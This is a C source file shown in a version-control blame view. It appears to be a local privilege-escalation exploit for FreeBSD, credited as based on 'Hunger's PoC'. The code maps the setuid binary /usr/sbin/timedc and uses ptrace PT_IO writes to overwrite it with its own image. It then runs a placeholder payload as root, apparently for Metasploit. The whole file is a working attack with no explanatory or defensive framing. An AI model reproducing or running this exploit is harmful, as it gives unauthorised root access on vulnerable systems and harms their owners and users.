2013-06-24 16:50:21 +00:00
|
|
|
#include <unistd.h>
|
|
|
|
#include <fcntl.h>
|
|
|
|
#include <sys/stat.h>
|
|
|
|
#include <sys/mman.h>
|
|
|
|
#include <sys/types.h>
|
|
|
|
#include <sys/ptrace.h>
|
|
|
|
#include <sys/wait.h>
|
|
|
|
|
|
|
|
#define TG "/usr/sbin/timedc"
|
|
|
|
|
|
|
|
/*
|
|
|
|
This is based on Hunger's PoC
|
|
|
|
*/
|
|
|
|
int main(int ac, char **av) {
|
|
|
|
int from_fd, to_fd, status;
|
|
|
|
struct stat st;
|
|
|
|
struct ptrace_io_desc piod;
|
|
|
|
char *s, *d;
|
|
|
|
int pid;
|
2013-06-25 15:40:55 +00:00
|
|
|
char *bin = "MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"; // is just a place holder
|
2013-06-24 16:50:21 +00:00
|
|
|
|
|
|
|
if (geteuid() == 0) {
|
|
|
|
setuid(0);
|
|
|
|
execl(bin, bin, NULL);
|
|
|
|
return 0;
|
|
|
|
}
|
|
|
|
|
|
|
|
from_fd = open(av[0], O_RDONLY);
|
|
|
|
to_fd = open(TG, O_RDONLY);
|
|
|
|
if ( from_fd == -1 || to_fd == -1 ) return 0;
|
|
|
|
if (stat(av[0], &st) == -1) return 0;
|
|
|
|
|
|
|
|
s = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, from_fd, (off_t)0);
|
|
|
|
d = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0);
|
|
|
|
|
|
|
|
if (s == MAP_FAILED || d == MAP_FAILED) return 0;
|
|
|
|
if ((pid = fork()) == -1) return 0;
|
|
|
|
if (!pid) {
|
|
|
|
if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) return 0;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) return 0;
|
|
|
|
if (wait(&status) == -1) return 0;
|
|
|
|
|
|
|
|
piod.piod_op = PIOD_WRITE_D;
|
|
|
|
piod.piod_offs = d;
|
|
|
|
piod.piod_addr = s;
|
|
|
|
piod.piod_len = st.st_size;
|
|
|
|
|
|
|
|
if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) return 0;
|
|
|
|
execl(TG, TG, NULL);
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
}
|